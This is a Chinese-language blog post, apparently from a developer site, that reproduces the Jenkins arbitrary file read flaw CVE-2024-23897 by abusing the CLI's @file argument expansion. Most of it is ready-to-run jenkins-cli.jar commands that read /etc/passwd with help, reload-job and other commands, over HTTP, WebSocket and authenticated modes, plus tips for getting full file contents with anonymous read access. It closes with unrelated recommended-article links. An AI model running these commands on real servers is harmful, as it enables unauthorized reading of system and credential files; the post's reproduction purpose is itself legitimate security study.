Jenkins任意文件读取漏洞(CVE-2024-23897)复现

Jenkins 有一个内置的命令行界面CLI,在处理 CLI 命令时Jenkins 使用args4j 库解析 Jenkins 控制器上的命令参数和选项。此命令解析器具有一个功能,可以将@参数中后跟文件路径的字符替换为文件内容 ( expandAtFiles)。具有Overall/Read权限的攻击者可以读取整个文件,未授权的攻击者仅能读取文件前几行内容。

1.漏洞级别

高危

2.影响范围

复制代码
Jenkins <= 2.441
Jenkins <= LTS 2.426.2

3.漏洞复现

3.1 cli执行命令

漏洞利用需求执行cli命令,我们可以从官网下载jenkins-cli.jar,我也会在附件资源上放一份,有需要的可以自行下载。

执行

复制代码
java -jar jenkins-cli.jar -s url -http help @/etc/passwd  #http请求
java -jar jenkins-cli.jar -s url -webSocket help @/etc/passwd  #websocket请求
java -jar jenkins-cli.jar -s url  help @/etc/passwd  #默认方式

同样的,不只有help命令能进行操作,以下这些命令也可以

复制代码
help
who-am-i
keep-build
restart
shutdown
safe-shutdown
disable-job
enable-job

如果jenkins没有配置匿名用户可读权限,在未授权的情况下只能获得文件前几行。
如果想获取全部的文件内容,则需要overall/read权限

执行

复制代码
java -jar jenkins-cli.jar -s url -http help @/etc/passwd  -auth user:password

3.2 利用进阶

如果Jenkins开启了"匿名用户可读"选项,connect-node命令和reload-job命令可以用来读取文件全部内容:

执行

复制代码
java -jar jenkins-cli.jar -s url -http reload-job @/etc/passwd
相关推荐
是真的小外套5 小时前
第15章:网络安全主动防御技术原理及应用
安全·web安全
是真的小外套9 小时前
第16章:网安风险评估技术原理及应用
网络·web安全·网络安全
白帽攻防录9 小时前
SRC 挖洞:Outlook 五个预览窗格 RCE,零点击怎么打穿企业邮箱
安全·web安全·网络安全·outlook·邮件安全
小白的码BUG之路11 小时前
Jenkins -- 配置jdk和maven
java·jenkins·maven
小羊没烦恼!11 小时前
T-SQL查询高级—SQL Server索引中的碎片和填充因子
开发语言·前端·javascript·数据库·后端·python·web安全
刘婉晴11 小时前
【网络安全】OAuth 原理和安全实现
安全·web安全
91440623211 小时前
安装jenkins遇到的问题总结
运维·jenkins
小白的码BUG之路11 小时前
Jenkins -- 配置ssh
运维·ssh·jenkins
黄焖鸡能干四碗12 小时前
大数据平台安全防护策略方案(PPT)
大数据·运维·网络·安全·web安全·制造
Bruce_Liuxiaowei15 小时前
2026年10月第3周网络安全形势周报
安全·web安全·网络安全